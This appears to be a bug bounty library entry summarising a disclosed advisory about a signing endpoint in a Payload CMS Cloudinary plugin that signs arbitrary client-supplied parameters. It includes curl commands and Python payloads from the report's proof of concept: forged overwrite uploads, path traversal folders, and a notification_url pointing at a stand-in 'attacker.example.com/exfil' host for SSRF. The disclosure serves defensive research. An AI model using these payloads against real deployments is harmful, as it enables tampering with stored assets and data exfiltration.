# @jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing

Payload Cloudinary plugin's signing endpoint signs arbitrary attacker-supplied params, letting any authenticated user mint valid HMAC signatures for overwrite, private type, and SSRF webhooks.

- Payout: Research
- Severity: high
- Program: Payload Cloudinary plugin
- Found by: EQSTLab, 232-323
- Disclosed: 2026-06-19
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h5x8-xp6m-x6q4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h5x8-xp6m-x6q4
- Tags: area:web domain:web impact:integrity impact:internal-access kind:research platform:ghsa sev:high technique:source-review vuln:access-control vuln:path-traversal vuln:signature-replay vuln:ssrf

**Target:** POST /api/cloudinary-generate-signature signing endpoint
**Root cause:** The signing handler forwards body.paramsToSign verbatim to cloudinary.utils.api_sign_request() with no key allowlist, folder/public_id policy, or overwrite/type restriction, so it acts as an unrestricted signature oracle.
**Steps:**
1. Authenticate as any low-privilege Payload user and POST to `/api/cloudinary-generate-signature?collectionSlug=media` with `{"paramsToSign":{"timestamp":"$TS","folder":"attacker","public_id":"overwrite-target","overwrite":"true"}}`
2. Receive a valid HMAC-SHA1 signature over the attacker-chosen params
3. Upload directly to `https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload` with `api_key`, `timestamp`, `folder`, `public_id`, `overwrite=true`, and the minted `signature`
4. Cloudinary accepts the upload to the unauthorized asset path
**How found:** Source review of the client-upload signing handler; noticed paramsToSign passed directly to api_sign_request with no allowlist, then verified by recomputing HMAC-SHA1 in Python and matching server responses across five param sets.
**Exploitation:** Attacker already holds cloud name, client-exposed API key, and timestamp; the signing endpoint supplies the missing signature. With it they upload to arbitrary folders, overwrite existing assets, set type=private, or set notification_url to an attacker host for SSRF/exfil.
**Escalation:** Chaining overwrite=true with path-traversal folder values and invalidate=true allows tampering with or invalidating assets in administrative Cloudinary paths.
**Insight:** Client-upload signing endpoints are signature oracles: enumerate every Cloudinary param (overwrite, type, notification_url, invalidate, folder) and check whether the server enforces the plugin's own folder policy rather than trusting the client's params.

## Proof of concept (copied exactly from the original report)

**curl request minting signature for overwrite params**

```
SIG=$(curl -s \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
  --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
  | jq -r .signature)

echo "Obtained signature: $SIG"
```

**curl upload using minted signature to Cloudinary**

```
curl -s -X POST "https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload" \
  -F "file=@poc.txt" \
  -F "api_key=$CLOUDINARY_API_KEY" \
  -F "timestamp=$TS" \
  -F "folder=attacker" \
  -F "public_id=overwrite-target" \
  -F "overwrite=true" \
  -F "signature=$SIG"
```

**Python PoC attack scenario payloads**

```
cases = [
        (
            "CASE-1: Legitimate params (baseline — should always succeed)",
            {"timestamp": ts, "folder": "media", "public_id": "user-upload"},
        ),
        (
            "CASE-2: Attacker-controlled folder + overwrite=true",
            {
                "timestamp": ts,
                "folder": "attacker-controlled",
                "public_id": "overwrite-target",
                "overwrite": "true",
            },
        ),
        (
            "CASE-3: type=private — changes upload visibility",
            {
                "timestamp": ts,
                "type": "private",
                "public_id": "admin-document",
            },
        ),
        (
            "CASE-4: notification_url — potential SSRF / data exfiltration",
            {
                "timestamp": ts,
                "folder": "media",
                "notification_url": "http://attacker.example.com/exfil",
            },
        ),
        (
            "CASE-5: folder path traversal + invalidate=true",
            {
                "timestamp": ts,
                "folder": "../../../../admin-assets",
                "public_id": "../../../sensitive",
                "invalidate": "true",
            },
        ),
    ]
```

